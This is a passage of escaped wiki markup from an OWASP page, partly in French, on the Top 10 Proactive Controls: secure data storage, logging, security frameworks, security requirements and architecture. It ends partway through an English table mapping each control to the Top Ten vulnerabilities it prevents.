Il est difficile de mettre en place un stockage crypté sécurisé. Il est essentiel de classer les données dans votre système et de déterminer lesquelles doivent être encryptées, par exemple il est nécessaire de crypter les cartes de crédit avec la norme de conformité PCI. De plus, chaque fois que vous commencez à construire vos propres fonctions cryptographiques de bas niveau dans votre application, vous devez vous assurer que vous êtes ou êtes assisté d'un expert dans ce domaine. Au lieu de construire des fonctions cryptographiques en partant de zéro, il est fortement recommandé de regarder et d'utiliser une bibliothèque open source, comme le projet Google KeyCzar, Bouncy Castle et les fonctions incluses dans le SDK. Également, vous devez être préparé à gérer les aspects les plus difficiles de la cryptographie appliquée comme la gestion des clés, la conception de l'ensemble de l'architecture cryptographique ainsi que les questions relatives à la hiérarchisation et la politique de confiance dans un logiciel complexe.&lt;br /&gt;
&lt;br /&gt;
Lors du chiffrement de données stockées, une erreur fréquente est d'utiliser une clé inadéquate, ou de stocker la clé avec les données chiffrées (l'équivalent cryptographique de laisser une clé sous le paillasson). Les clés doivent être traités comme confidentiel et n'exister sur les appareils que dans un état transitoire. Par exemple, saisie par l'utilisateur pour que les données puissent être décryptées, puis effacée de la mémoire.&lt;br /&gt;
&lt;br /&gt;
'''Principales références'''&lt;br /&gt;
* Informations relatives aux décisions basiques nécessaires pour le chiffrement des données stockées: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Outils principaux'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
* [https://code.google.com/p/keyczar/ Google KeyCzar]&lt;br /&gt;
&lt;br /&gt;
=== Implémenter une protection pendant le traitement ===&lt;br /&gt;
&lt;br /&gt;
Assurez-vous que les données confidentielles ou sensibles ne soient pas exposées par accident au cours du traitement. Elles pourraient être plus facilement accessible en mémoire, ou bien dans des espaces de stockages temporaires, ou encore dans des fichiers de log, des endroits où un attaquant pourrait les retrouver et les lire.&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 7: Implémenter la journalisation, la gestion d'erreurs et la détection d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
La mise en oeuvre de la journalisation ne devrait pas être pensée après coup et limitée au débogage ou à la résolution des problèmes. Elle est également utilisée dans d’autres activités sensibles :&lt;br /&gt;
&lt;br /&gt;
* La surveillance des applications&lt;br /&gt;
* Analyse et compréhension des affaires&lt;br /&gt;
* Les activités d’audit et de vérification de la conformité&lt;br /&gt;
* La détection d’intrusion dans les systèmes&lt;br /&gt;
* Informatique légale (Forensics)&lt;br /&gt;
&lt;br /&gt;
Pour faciliter les rapports et l’analyse, il est important de suivre une approche commune de journalisation à l’intérieur même d’un système mais aussi entre différents systèmes lorsque cela est possible. Pour cela, l’utilisation d’un framework de journalisation extensible tel que SLF4J avec Logback ou Apache Log4j2, permet de veiller à ce que toutes les entrées du journal soient compatibles. &lt;br /&gt;
&lt;br /&gt;
La surveillance des processus, l'audit, les journaux de transactions, etc. sont généralement collectées à des fins différentes de celles de la journalisation des événements de sécurité, et cela signifie souvent qu'ils doivent être séparés. De plus, les formats et le détail des événements recueillis ont tendance à être différents. Par exemple, un journal d'audit PCI DSS contiendra également un registre chronologique des activités qui fournit une trace vérifiable de façon indépendante. Cela permettra la reconstruction, l’évaluation et l'examen avec comme finalité de déterminer l'ordre d'origine des opérations imputables.&lt;br /&gt;
&lt;br /&gt;
Il est important de trouver le juste milieu de journalisation, ni trop ni pas assez. Veillez à toujours mettre un horodatage dans vos journaux, ainsi que des informations d’identification telles que les adresses IP sources et les identifiants utilisateurs, mais n’enregistrez jamais de données confidentielles ou privées. Utilisez vos connaissances du métier pour vous aider à déterminer quoi, quand et comment journaliser. Pour vous prémunir contre l'injection de journaux de log (également appelé Log Forging / Forgeage de log), veillez à encoder les données non sécurisées avant de les journaliser.&lt;br /&gt;
&lt;br /&gt;
Le projet [[OWASP AppSensor Project]] décrit comment mettre en œuvre la détection d'intrusion et les réponses automatisées dans le cadre d’une application existante: où ajouter les sondes ou les points de détection, les mesures/actions à prendre en cas de problèmes de sécurité rencontrés dans votre application.&lt;br /&gt;
&lt;br /&gt;
'''Principales références'''&lt;br /&gt;
* Comment implémenter correctement la journalisation dans vos applications: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Outils principaux'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 8: Tirer parti des fonctionnalités de sécurité des frameworks et bibliothèques de sécurité ==&lt;br /&gt;
&lt;br /&gt;
Développer des contrôles de sécurité pour une application web, un service web ou une application mobile en partant de zéro est une perte de temps et peut générer des failles de sécurité importantes. Les bibliothèques de sécurité permettent d'éviter aux développeurs de logiciels les défauts de conception et de créer ces failles.&lt;br /&gt;
&lt;br /&gt;
Lorsque cela est possible, le choix devrait se porter sur l'utilisation des fonctionnalités existantes dans les frameworks plutôt que d'importer des librairies externes. En effet, il est préférable que les développeurs profitent de ce qu'ils utilisent déjà au lieu d'ajouter une librairie de plus à leur application. Les frameworks de sécurité des applications Web à utiliser peuvent être :&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
Il est essentiel de garder ces frameworks et bibliothèques à jour comme décrit dans le chapitre &amp;quot;Utilisation de composants avec des vulnérabilités connues&amp;quot; du document Owasp Top Ten 2013. &lt;br /&gt;
&lt;br /&gt;
'''Principales références'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 9: Inclure les exigences de sécurité spécifiques ==&lt;br /&gt;
&lt;br /&gt;
Au début d'un projet de développement logiciel, trois catégories principales d'exigences de sécurité peuvent être définies:&lt;br /&gt;
&lt;br /&gt;
1) Éléments et fonctions de sécurité : les contrôles de sécurité visibles de l'application, incluant l'authentification, les contrôle d'accès et les fonctions d'audit. Ces exigences de sécurité sont souvent définies par des cas d'utilisation ou des cas utilisateur qui incluent l'entrée, le comportement et la sortie, et peuvent ainsi être revues et testées pour vérifier le bon fonctionnement par l’équipe AQ. Par exemple, vérifier la réauthentification lors du changement de mot de passe ou s'assurer que les modifications de certaines données ont été correctement journalisées.&lt;br /&gt;
&lt;br /&gt;
2) Cas d'abus de la logique métier : les fonctionnalités de la logique métier comprennent plusieurs workflows multi-branches et multi-étapes qui sont difficiles à évaluer dans leur intégralité et peuvent impliquer de l'argent ou des objets de valeur, des informations d'identification utilisateur, des informations privées ou des fonctions de contrôle / commande. Par exemple, les workflows de commerce électronique, de choix de trajets des navires, ou la validation de transfert bancaire. Les cas utilisateur ou les cas d'utilisation de ces exigences doivent inclure des scénarios d'exceptions et de défaillances (qu'arrive-t-il si une étape échoue / expire ou si l'utilisateur tente d'annuler ou de répéter une étape ?). Il en est de même pour les exigences qui découlent de &amp;quot;cas d'abus&amp;quot;. Les cas d'abus décrivent la façon dont les fonctions de l'application pourraient être détournées par des attaquants. L’utilisation de scénarios de défaillances et de cas d'abus permet de découvrir les faiblesses dans la validation et le traitement des erreurs qui impacteront la fiabilité et la sécurité de l'application.&lt;br /&gt;
&lt;br /&gt;
3) Classification des données et exigences de confidentialité : les développeurs doivent toujours être conscients de la présence d'informations personnelles ou confidentielles sur le système et s'assurer que celles-ci sont protégées. Quelle est la source des données ? La source est-elle de confiance ? Où sont stockées / affichées les données ? Celles-ci doivent-elles être stockées ou affichées ? Qui est autorisé à les créer, les voir, les modifier, et ces actions sont-elles journalisées ? Tout cela conduira à la nécessité d'avoir une validation de données, des contrôles d'accès, des chiffrements, des audits et une journalisation des contrôles sur le système.&lt;br /&gt;
&lt;br /&gt;
'''Principales références'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 10: Conception et architecture de sécurité ==&lt;br /&gt;
&lt;br /&gt;
Il existe plusieurs domaines pour lesquels il est nécessaire de se préoccuper de la sécurité lors de l'architecture et de la conception d'un système. Ceux-ci comprennent:&lt;br /&gt;
&lt;br /&gt;
1) Connaître vos outils : Vos choix de langage(s) et de plate-formes (OS, serveur web, messagerie, base de données ou gestionnaire de données NoSQL) entraîneront des risques et des réflexions de sécurité spécifiques aux technologies que l'équipe de développement devra comprendre et gérer.&lt;br /&gt;
&lt;br /&gt;
2) Hiérarchisation, confiance et dépendances : Une autre partie importante de l'architecture et de la conception sécurisées est la hiérarchisation et la confiance. Décider quel contrôle doit être appliqué au client, à la couche Web, à la couche de logique métier, à la couche de gestion des données, et où établir la confiance entre les différents systèmes ou différentes parties d'un même système. La frontière de confiance situe l'endroit où prendre des décisions à propos de l'authentification, du contrôle d'accès, de la validation des données ou encore de l'encodage, du cryptage et de la journalisation. La frontière de confiance situe l'endroit où prendre les décisions à propos de l'authentification, du contrôle d'accès, de la validation des données ou encore de l'encodage, du cryptage et de la journalisation. On peut avoir confiance dans les données, sources de données et services à l'intérieur de la frontière de confiance mais pas pour tout ce qui se situe en dehors. Lors de la conception ou de la modification de la conception d'un système, assurez-vous de bien comprendre les principes de confiance, assurez-vous que ces principes soient toujours valides, et assurez-vous qu'ils soient respectés.&lt;br /&gt;
&lt;br /&gt;
3) Gérer la surface d'attaque : Soyez conscient de la Surface d'Attaque du système, la façon dont les attaquants peuvent rentrer dans le système et les données qu'ils peuvent récupérer. Sachez reconnaître quand vous augmentez cette Surface d'Attaque, et profitez-en pour réaliser des évaluations des risques (devez-vous faire la modélisation des menaces ou planifier un test supplémentaire). Introduisez-vous une nouvelle API ou modifiez-vous une fonction de sécurité à haut risque du système, ou ajoutez-vous seulement un nouveau champ à une page ou fichier existant?&lt;br /&gt;
&lt;br /&gt;
'''Principales références'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Top Ten Mapping =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Overview   ==&lt;br /&gt;
Most developers have heard about the OWASP Top Ten, the list of the 10 Most Critical Web Application Security Vulnerabilities which should be avoided in web applications.  &lt;br /&gt;
However, in order to avoid them, developers must be aware of the pro-active controls in order to incorporate from the early stages of software development lifecycle. &lt;br /&gt;
 &lt;br /&gt;
This documents starts from the OWASP Top Ten Proactive Controls, shortly describes them, and then provides a mapping to the OWASP Top Ten vulnerabilities each of them will address.  &lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; cellpadding=&amp;quot;7&amp;quot; cellspacing=&amp;quot;0&amp;quot;&amp;lt;col width=&amp;quot;325&amp;quot;&amp;gt;&amp;lt;col width=&amp;quot;316&amp;quot;&amp;gt;&lt;br /&gt;
! ead | &lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=&amp;quot;50%&amp;quot; bgcolor=&amp;quot;#d9d9d9&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''OWASP Top 10 Proactive Control'''s &lt;br /&gt;
| width=“50%” bgcolor=&amp;quot;#d9d9d9&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''IEEE Top 10 Software Security Design Flaws'''  &lt;br /&gt;
| width=“50%” bgcolor=&amp;quot;#d9d9d9&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Which OWASP Top 10 Vulnerabilities will prevent?'''   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''OWASP-C1: Parameterize Queries'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
The Parameterized queries are a way to leverage to Data Access Abstraction Layer how parameters are interpreted before executing an SQL query. It provides SQL injection protection.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
;1 Earn or give, but never assume, trust&lt;br /&gt;
&lt;br /&gt;
:''Designs that place authorization, access control, enforcement of security policy, or embedded sensitive data in client software thinking that it won't be discovered, modified, or exposed by clever users or malicious attackers are inherently weak.'' &lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;3&amp;quot; style=&amp;quot;font-size: 12pt&amp;quot;&amp;gt;'''Prevents :'''  &amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
; A1 Injection  &lt;br /&gt;
: ''Injection flaws, such as SQL injection occur when untrusted data is sent to an interpreter as part of a command or query.'' &lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''OWASP-C2: Encode Data'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;Encode data before use in a parser  ( JS, CSS , XML ) &lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
;1 Earn or give, but never assume, trust&lt;br /&gt;
&lt;br /&gt;
:''Designs that place authorization, access control, enforcement of security policy, or embedded sensitive data in client software thinking that it won't be discovered, modified, or exposed by clever users or malicious attackers are inherently weak.'' &lt;br /&gt;
&lt;br /&gt;
;4 Strictly separate data and control instructions, and never process control instructions received from untrusted sources&lt;br /&gt;
&lt;br /&gt;
:''Combining data and control instructions in a single entity, especially a string, can lead to injection vulnerabilities.'' &lt;br /&gt;
&lt;br /&gt;
:''Software systems and components commonly make assumptions about data they operate on. It is important to explicitly ensure that such assumptions hold: Vulnerabilities frequently arise from implicit assumptions about data, which can be exploited if an attacker can subvert and invalidate these sumptions.'' &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Prevents :'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
; A1 Injection  	&lt;br /&gt;
: ''Injection flaws, such as SQL injection occur when untrusted data is sent to an interpreter as part of a command or query.''&lt;br /&gt;
; A3 XSS&lt;br /&gt;
: ''XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites''&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''OWASP-C3: Validate All Inputs'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
Consider all input from outside of the application as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be manipulated by an attacker. &lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
;1 Earn or give, but never assume, trust&lt;br /&gt;
&lt;br /&gt;
:''Designs that place authorization, access control, enforcement of security policy, or embedded sensitive data in client software thinking that it won't be discovered, modified, or exposed by clever users or malicious attackers are inherently weak.''  &lt;br /&gt;
&lt;br /&gt;
;5 Define an approach that ensures all data are explicitly validated&lt;br /&gt;
&lt;br /&gt;
:''Software systems and components commonly make assumptions about data they operate on. It is important to explicitly ensure that such assumptions hold: Vulnerabilities frequently arise from implicit assumptions about data, which can be exploited if an attacker can subvert and invalidate these sumptions.'' &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Prevents :'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
; A1 Injection  	&lt;br /&gt;
: ''Injection flaws, such as SQL injection occur when untrusted data is sent to an interpreter as part of a command or query''&lt;br /&gt;
; A3 XSS&lt;br /&gt;
: ''XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites''&lt;br /&gt;
; A10-Unvalidated Redirects and Forwards&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; |&lt;br /&gt;
'''OWASP-C4: Implement Appropriate Access Controls'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development:&lt;br /&gt;
* Force all requests to go through access control checks&lt;br /&gt;
* Deny by default&lt;br /&gt;
* Avoid hard-coded policy-based access control checks in code&lt;br /&gt;
* Check on the server when each function is accessed&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
;3 Authorize after you authenticate&lt;br /&gt;
&lt;br /&gt;
:''Authorization should be conducted as an explicit check, and as necessary even after an initial authentication has been completed.'' &lt;br /&gt;
 &lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Prevents:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
; A4-Insecure Direct Object References&lt;br /&gt;
: ''A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data''. &lt;br /&gt;
; A7-Missing Function Level Access Control&lt;br /&gt;
: ''Applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization''&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&lt;br /&gt;
'''OWASP-C5: Establish Identity and Authentication Controls'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size:9pt&amp;quot;&amp;gt;&lt;br /&gt;
Authentication is the process of verifying that an individual or an entity is who it claims to be while identity management is a broader topic which not only includes authentication, session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
;2 Use an authentication mechanism that cannot be bypassed or tampered with&lt;br /&gt;
&lt;br /&gt;
:''The ability to bypass an authentication mechanism can result in an unauthorized entity having access to a system or service that it shouldn't.'' &lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Prevents:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
; A2-Broken Authentication and Session Management&lt;br /&gt;
: Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''OWASP-C6: Protect Data and Privacy'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;Data encryption at rest or transit &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
;6 Use cryptography correctly&lt;br /&gt;
&lt;br /&gt;
:''Cryptography is one of the most important tools for building secure systems.'' &lt;br /&gt;
&lt;br /&gt;
;7 Identify sensitive data and how they should be handled&lt;br /&gt;
&lt;br /&gt;
:''Data are critical to organizations and to users. One of the first tasks that systems designers must do is identify sensitive data and determine how to protect it appropriately. Many employed systems over the years have failed to protect data appropriately. This can happen when designers fail to identify data as sensitive, or when designers do not identify all the ways in which data could be manipulated or exposed.'' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Prevents:''' 					&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
; A6-Sensitive Data Exposure&lt;br /&gt;
: ''Sensitive data needs extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.''&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''OWASP-C7: Implement Logging, Error Handling and Intrusion Detection'''&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
;10 Be flexible when considering future changes to objects and actors&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Prevents:'''&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
; A1-Injection&lt;br /&gt;
; A2-Broken Authentication and Session Management&lt;br /&gt;
; A3 XSS&lt;br /&gt;
; A4-Insecure Direct Object  References&lt;br /&gt;
; A5-Security Misconfiguration&lt;br /&gt;
; A6-Sensitive Data Exposure&lt;br /&gt;
; A7-Missing Function Level Access Control&lt;br /&gt;
; A8-Cross-Site Request Forgery (CSRF) &lt;br /&gt;
; A9-Using Components with Known Vulnerabilities&lt;br /&gt;
; A10-Unvalidated Redirects and Forwards&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
|- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
| width=“50%”bgcolor=&amp;quot;#ffffff&amp;quot; style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
'''OWASP-C8: Leverage Security Features of Frameworks and Security Libraries'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;Starting from scratch when it comes to developing security controls leads to wasted time and massive security holes.  Secure coding libraries help developers guard against security-related design and implementation flaws.&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
* Choose a good database ORM &lt;br /&gt;
* Choose a framework with already build-in good access control &lt;br /&gt;
* Choose a framework that already has integrated CSRF&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
;1 Earn or give, but never assume, trust&lt;br /&gt;
&lt;br /&gt;
;2 Use an authentication mechanism that cannot be bypassed or tampered with&lt;br /&gt;
&lt;br /&gt;
;3 Authorize after you authenticate&lt;br /&gt;
&lt;br /&gt;
;4 Strictly separate data and control instructions, and never process control instructions received from untrusted sources&lt;br /&gt;
&lt;br /&gt;
;5 Define an approach that ensures all data are explicitly validated&lt;br /&gt;
&lt;br /&gt;
;6 Use cryptography correctly&lt;br /&gt;
&lt;br /&gt;
;7 Identify sensitive data and how they should be handled &lt;br /&gt;
&lt;br /&gt;
;8 Always consider the users &lt;br /&gt;
&lt;br /&gt;
;9 Understand how integrating external components changes your attack surface &lt;br /&gt;
&lt;br /&gt;
;10 Be flexible when considering future changes to objects and actors&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| width=“50%” style=&amp;quot;border: 1.00pt solid #000001; padding: 0.18cm&amp;quot; | '''Prevents:''' &lt;br /&gt;
&amp;lt;font size=&amp;quot;2&amp;quot; style=&amp;quot;font-size: 9pt&amp;quot;&amp;gt;&lt;br /&gt;
; A1-Injection&lt;br /&gt;
; A2-Broken Authentication and Session Management&lt;br /&gt;
; A3 XSS&lt;br /&gt;
; A4-Insecure Direct Object  References&lt;br /&gt;
; A5-Security Misconfiguration&lt;br /&gt;
